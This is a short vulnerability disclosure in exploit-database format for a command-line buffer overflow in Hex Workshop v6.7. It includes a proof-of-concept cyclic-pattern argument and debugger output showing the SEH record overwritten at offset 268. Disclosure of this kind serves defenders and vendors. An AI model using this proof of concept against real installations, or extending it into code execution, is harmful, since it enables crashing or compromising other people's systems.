# Exploit Title: Hex Workshop v6.7 - Buffer overflow DoS
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-06
# Vendor Homepage: http://www.bpsoft.com, http://www.hexworkshop.com
# Software Link : http://www.bpsoft.com, http://www.hexworkshop.com
# Tested Version: v6.7
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Hex Workshop v6.7 is vulnerable to denial of service via a command line
file arguments and control the Structured Exception Handler (SEH) records.

Proof of concept:

Open HWorks32.exe from command line with a large string in Arguments, more
than 268 chars:

File 'C:\Hex Workshop\HWorks32.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag..."

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0089e63c overwritten with
unicode pattern : 0x00390069 (offset 268), followed by 0 bytes of cyclic
data after the handler

The application crash.